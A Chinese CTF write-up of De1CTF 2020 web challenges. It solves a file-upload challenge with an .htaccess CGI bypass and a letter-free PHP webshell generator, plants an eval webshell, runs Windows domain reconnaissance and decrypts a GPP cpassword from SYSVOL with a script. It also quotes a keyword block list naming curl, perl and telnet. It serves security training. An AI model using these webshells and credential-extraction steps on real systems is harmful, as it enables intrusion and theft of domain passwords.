web
check in
-
打开题目后,发现是一个文件上传的题目
-
随便传个马,发现过滤了
perl|pyth|ph|auto|curl|base|>|rm|ruby|openssl|war|lua|msf|xter|telnet in contents!
-
于是想到了利用cgi执行脚本
-
先上传一个
.htaccess
文件,内容是:
AddHandler cgi-script .png
- 然后上传一个后缀为png的文件,内容是
#! /bin/bash
echo "Content-Type: text/html"
echo
echo "rdd" # 满足格式要求,同时注意windows下和linux下文件的差别
cat /flag
- 访问文件获得flag
Hard_Pentest_1
- 打开题目,给出了源码:
<?php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
-
规定了不能是php的后缀,可以使用Php,PHp等大小写单词进行绕过
-
正则
preg_match('/[a-z0-9;~^`&|]/is',$file_content)
限制了上传的文件中不能有大小写字母,数字和字符;~^&|
-
可以使用短标签,写入文件,一次进行解析
-
参考P神的文章,链接
-
编写一个批量生成的脚本
# By:江鸟@星盟
str1 = 'system'
print "<?=$_=[]?><?=$_=@\"$_\"?><?=$_=$_['!'=='@']?>"
for j in str1:
# print j
print '<?=$__=$_?>'
for i in range(1,ord(j)-96):
print ('<?=$__++?>')
print '<?=$___.=$__?>'
print('''<?=$____='_'?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$__=$_?>
<?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?>
<?=$____.=$__?>
<?=$_=$$____?>
<?=$___($_[_])?>''')
-
传一个能执行system的马上去,然后通过POST传参数
_
执行命令 -
这里为了方便,就再写一个马,方便蚁剑直接连接:
_=echo ^<?php @eval($_POST['x']);?^> > shell.php
-
查看一下根目录和其他目录,发现没有flag,可能是需要域渗透
-
可以查看别人的目录,但是权限依然很低
-
使用命令
for /r c:\ %i in (*flag*) do @echo %i
,查询所有带flag的文件 -
找到一个目录下有个
flag1_and_flag2hint.zip
文件,应该是我们要找的文件,可能是谁做的忘删了(上车.jpg -
复现时发现直接在
R:\
下就有了,ORZZZZZ,(眼瞎.jpg -
执行命令
ipconfig /all;netstat -na;net user /domain;Systeminfo
等一些命令,进行信息收集 -
得出一下几点结论:
本机IP192.168.0.11
内网存在主机192.168.0.12
whoami:de1ctf2020\web
net user /domain :Administrator De1ta Guest HintZip_Pass krbtgt web
-
值得注意的点
HintZip_Pass
-
尝试一下GPP
-
利用
dir /s /a \\192.168.0.12\SYSVOL\*.xml
-
发现了
Groups.xml
-
尝试读取
type \\192.168.0.12\SYSVOL\De1CTF2020.lab\Policies\{B1248E1E-B97D-4C41-8EA4-1F2600F9264B}\Machine\Preferences\Groups\Groups.xml
-
内容:
<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
<User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="HintZip_Pass" image="2" changed="2020-04-15 14:43:23" uid="{D33537C1-0BDB-44B7-8628-A6030A298430}">
<Properties action="U" newName="" fullName="" description="" cpassword="uYgjj9DCKSxqUp7gZfYzo0F6hOyiYh4VmYBXRAUp+08" changeLogon="1" noChange="0" neverExpires="0" acctDisabled="0" userName="HintZip_Pass"/>
</User>
</Groups>
- 泄露了信息
cpassword
,直接脚本
#!/usr/bin/python2
import sys
from Crypto.Cipher import AES
from base64 import b64decode
if(len(sys.argv) != 2):
print "decrypt.py <cpassword>"
sys.exit(0)
key = """4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b""".decode('hex')
cpassword = sys.argv[1]
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
out = AES.new(key, AES.MODE_CBC, "\x00" * 16)
out = out.decrypt(password)
print out[:-ord(out[-1])].decode('utf16')
-
解出密码
zL1PpP@sSwO3d
-
密码解压压缩包,获得flag以及hint
flag1: De1CTF{GpP_11Is_SoOOO_Ea3333y}
Get flag2 Hint:
hint1: You need De1ta user to get flag2
hint2: De1ta user's password length is 1-8, and the password is composed of [0-9a-f].
hint3: Pay attention to the extended rights of De1ta user on the domain.
hint4: flag2 in Domain Controller (C:\Users\Administrator\Desktop\flag.txt)
PS: Please do not damage the environment after getting permission, thanks QAQ.